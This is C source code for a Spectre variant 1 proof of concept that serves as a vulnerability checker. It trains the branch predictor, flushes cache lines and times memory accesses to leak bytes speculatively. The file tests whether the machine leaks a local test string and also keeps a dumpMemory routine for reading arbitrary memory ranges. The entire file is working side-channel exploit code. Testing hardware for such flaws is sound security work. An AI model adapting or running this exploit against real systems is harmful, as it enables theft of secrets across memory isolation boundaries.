#include #include #include #include #include // Constants #define INDEX_COUNT 16 #define PAGES 256 #define PAGE_SIZE 512 #define MAX_TRIES 1000 #define CACHE_HIT_THRESHOLD 80 #define TRICK_INTERVAL 8 #define TRICK_ITERACTIONS 128 #define NEEDED_CONFIRMATIONS 4 // Global variables that will be used in this attack unsigned int indexArraySize = INDEX_COUNT; uint8_t indexArray[INDEX_COUNT]; uint8_t attackArray[PAGES * PAGE_SIZE]; char *secret = "This is just a random test"; void initGlobalCacheableVariables(){ int i; memset(&attackArray, 0, sizeof(attackArray)); for(i=0; i < INDEX_COUNT; i++){ indexArray[i]=i+1; } } void accessPage(int page) { int value=0; if (page < indexArraySize) { value = value & attackArray[indexArray[page] * PAGE_SIZE]; } } static inline int checkSuccess(int a, int b){ if(a >= (2 * b + 5)){ return 0; } return -1; } static inline int getProbableByteValue(int results[]){ int i,first=-1,second=-1; for (i = 0; i < 256; i++) { if (first < 0 || results[i] >= results[first]) { second = first; first = i; } else if (second < 0 || results[i] >= results[second]) { second = i; } } if (checkSuccess(results[first],results[second])){ return first; } return -1; } /** * CLFLUSH—Flush Cache Line * * Invalidates the cache line that contains the linear * address specified with the source operand from all levels of the processor * cache hierarchy (data and instruction). The invalidation is broadcast * throughout the cache coherence domain. If, at any level of the cache * hierarchy, the line is inconsistent with memory (dirty) it is written to * memory before invalidation. The source operand is a byte memory location. ***/ static inline void clflush(uint8_t *ptr, int pages){ int i; for(i = 0; i < pages; ++i){ _mm_clflush(&ptr[i * PAGE_SIZE]); } } static inline void clflushSingle(unsigned int *ptr){ _mm_clflush(ptr); } /** Do something else just to waste some CPU cycles */ static inline void wasteSomeCycles(){ int x = 7; for(int i=0; i<10000; ++i){ x = x * x + i; x = x << 5; x = x ^ x; }; } void trickBranchPredictor(size_t target, int index){ int i; size_t dummyIndex, page; dummyIndex = index; // Completely flush our target from memory clflush(attackArray, PAGES); for (i = 0; i <= TRICK_ITERACTIONS; ++i) { // Flush the size of the array from the index clflushSingle(&indexArraySize); wasteSomeCycles(); /** Bit twiddling technique extracted from original exploit if(i % TRICK_INTERVAL == 0){ uses our target address }else{ uses our valid address } */ page = ((i % TRICK_INTERVAL) - 1) & 0xFFFF0000; page = (page | (page >> 16)); page = dummyIndex ^ (page & (target ^ dummyIndex)); accessPage(page); } } uint64_t timeDiff(uint8_t *ptr){ uint64_t diff=0, start=0, end=0; int tmp = 0; start = __rdtscp(&tmp); // Just access the memory region where ptr points to tmp = *ptr; end = __rdtscp(&tmp); diff = end - start; return diff; } void analyseCachedPages(int results[], int index){ int i, page; uint8_t *address; uint64_t diff=0; for(i = 0; i < 256; i++) { page = ((i * 151) + 17) & 255; address = & attackArray[page * 512]; diff = timeDiff(address); if (diff <= CACHE_HIT_THRESHOLD && page != index + 1) /* There was a cache hit, increment the possibility of the current index being the right byte */ results[page]++; } } int readMemoryLocation(size_t address) { int results[256]; int tries, index= 0, ret=-1, last=-1, repeat=0; for (tries = 0; tries < MAX_TRIES && repeat < NEEDED_CONFIRMATIONS; ++tries) { memset(&results, 0, sizeof(results)); index = tries % indexArraySize; trickBranchPredictor(address, index); analyseCachedPages(results, index); /** * Find the biggest value index in results. It will indicate which * byte has the highest probability of being guessed **/ last = ret; ret = getProbableByteValue(results); if(ret != -1){ if(last == ret){ repeat++; }else{ repeat=0; } } } return ret; } int checkVulnerability(){ int dumpSize=26, count=0; char byteRead=0; unsigned long long int baseAddress = (unsigned long long int)(secret-(char*)indexArray); unsigned long long int address; unsigned long long int finalAddress = baseAddress + dumpSize; initGlobalCacheableVariables(); printf("[+] Testing for Spectre\n"); printf("[+] Dumping memory from %p to %p\n", baseAddress, finalAddress); for(address = baseAddress; address < finalAddress; ++address){ byteRead = readMemoryLocation(address); if(secret[count] != byteRead ){ break; } count++; } // If we weren't able to dump everything, something went wrong if(count != dumpSize){ printf("[-] Dumped bytes don't match the expected output, maybe you aren't vulnerable"); return -1; } printf("[+] Dumped bytes match the expected value\n"); printf("[+] System vulnerable to spectre\n"); return 0; } // This function was only kept because it can be useful for debugging purposes void dumpMemory(){ int dumpSize=128, byteRead=0, count=0; unsigned long long int baseAddress = (unsigned long long int)(secret-(char*)indexArray); unsigned long long int address; unsigned long long int finalAddress = baseAddress + dumpSize; if( finalAddress < baseAddress ){ finalAddress = 0xffffffffffffffff; } initGlobalCacheableVariables(); printf("Dumping memory range %p-%p\n", baseAddress, finalAddress); for(address = baseAddress; address < finalAddress; ++address){ byteRead = readMemoryLocation(address); if( byteRead > 31 && byteRead < 127 ){ printf("%c", byteRead ); }else{ printf("?"); } if( ++count % 64 == 0){ printf("\n"); } } printf("\n"); } int main(int argc, char *argv[]) { checkVulnerability(); return 0; }